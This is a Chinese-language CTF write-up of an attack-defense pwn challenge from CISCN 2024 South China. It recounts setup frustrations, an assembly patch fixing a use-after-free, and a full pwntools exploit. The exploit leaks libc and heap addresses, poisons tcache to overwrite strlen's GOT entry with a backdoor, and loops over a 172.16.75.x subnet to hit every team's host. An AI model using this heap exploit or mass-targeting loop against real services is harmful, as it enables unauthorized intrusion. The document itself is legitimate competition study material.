支持绿盟.jpg
先吐槽pwn题的靶机
开局修好了文件,发现winscp传东西传不上去(没权限),问裁判咋回事,裁判说这是防止对面打进来删flag删库,把my_heap和flag.txt都设置成root权限了
?这我咋修?
大概差不多十一点,因为我winscp一直连着,这个点能传文件了,但是ssh又被ban了,chmod +x 想都别想
就跟靶机玩了一上午,吃完中饭1点钟才正式开打a(对,因为权限问题解决不了就没有wd了))
第一次线下赛主办方先送中饭再开打的
下午送了杯瑞幸还是不错的)
来看题
[ciscn2024 华南pwn1]
保护全开

2.34的libc
漏洞点
存在backdoor
add没有对大小进行限制,但是只能操作一个chunk
delete存在UAF

edit仅有0x8,但是有一次magic,可以泄露backdoor地址以及edit0x10(可以越界)
show会对输出进行一段“加密”,逆一下就好
| 12
 3
 
 | output=b""while len(libcbase)<6:
 output+=p8((u8(p.recv(1))^(len(libcbase)+153)))
 
 | 
fix
system直接改成puts。(看平台,这个可能check不过,队友直接把这个backdoor给nop掉了)
add没修
delete的UAF修法:先把eh_frame段的flag改为7,使其可执行,在上面利用keypatch写下以下代码
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 
 | call 0x10E0 ;call free@pltpush    rbp
 mov     rbp, rsp
 
 mov     rax, cs:buf
 mov     rdi, rax;get chunk_ptr
 
 xor r8,r8
 push r8
 pop rax
 mov cs:buf,rax
 nop
 
 jmp 0x13BD;跳回main
 
 | 
再把原来的free改为jmp到自己写的代码上即可
break
没有控制大小和UAF,利用unsortedbin可以泄露libc地址
然后可以改strlen为backdoor
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 
 | from pwn import *from pwn import p64,u64,p8,u8
 
 context(arch='amd64', os='linux')
 
 libc = ELF('libc.so.6')
 
 
 
 
 
 
 def cmd(choice):
 p.recvuntil("edit")
 p.sendline(str(choice))
 
 def add(size):
 cmd(1)
 p.recvuntil("which one you choose?")
 p.sendline(str(1))
 p.recvuntil("size:")
 p.sendline(str(size))
 
 def add_1():
 cmd(1)
 p.recvuntil("which one you choose?")
 p.sendline(str(2))
 
 def delete():
 cmd(2)
 
 def show():
 cmd(3)
 
 def edit(content):
 cmd(4)
 p.recvuntil("edit data:")
 p.send(content)
 
 
 def exp():
 add(0x430)
 add_1()
 delete()
 add_1()
 show()
 p.recvuntil("the data:")
 libcbase=b""
 while len(libcbase)<6:
 libcbase+=p8((u8(p.recv(1))^(len(libcbase)+153)))
 
 libcbase=u64(libcbase.ljust(8,b'\x00'))-0x21b0e0
 success("libcbase: %s",hex(libcbase))
 strlen_got=libcbase+libc.got['strlen']
 
 
 add(0x70)
 delete()
 show()
 p.recvuntil("the data:")
 key=b""
 while len(key)<6:
 key+=p8((u8(p.recv(1))^(len(key)+153)))
 key=u64(key.ljust(8,b'\x00'))
 heapbase=key<<12
 success("heapbase: %s",hex(heapbase))
 tcache=heapbase+0xc0
 addr=heapbase+0x290
 success("addr: %s",hex(addr))
 success("tcache: %s",hex(tcache))
 
 cmd(5)
 p.recvuntil("0x")
 backdoor=u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
 base=backdoor-0x12be
 buf=base+0x0000000000004040
 success("backdoor: %s",hex(backdoor))
 success("base: %s",hex(base))
 p.recvuntil("edit data:")
 p.send(p64(0)*2)
 delete()
 edit(p64(buf^key))
 add(0x70)
 add(0x70)
 edit(p64(strlen_got))
 edit(p64(backdoor))
 
 p.sendline("cat flag.txt")
 
 
 for i in range(0,255):
 global ip,p
 ip = '172.16.75.{i}'
 p = (ip,9999)
 exp()
 
 
 
 
 |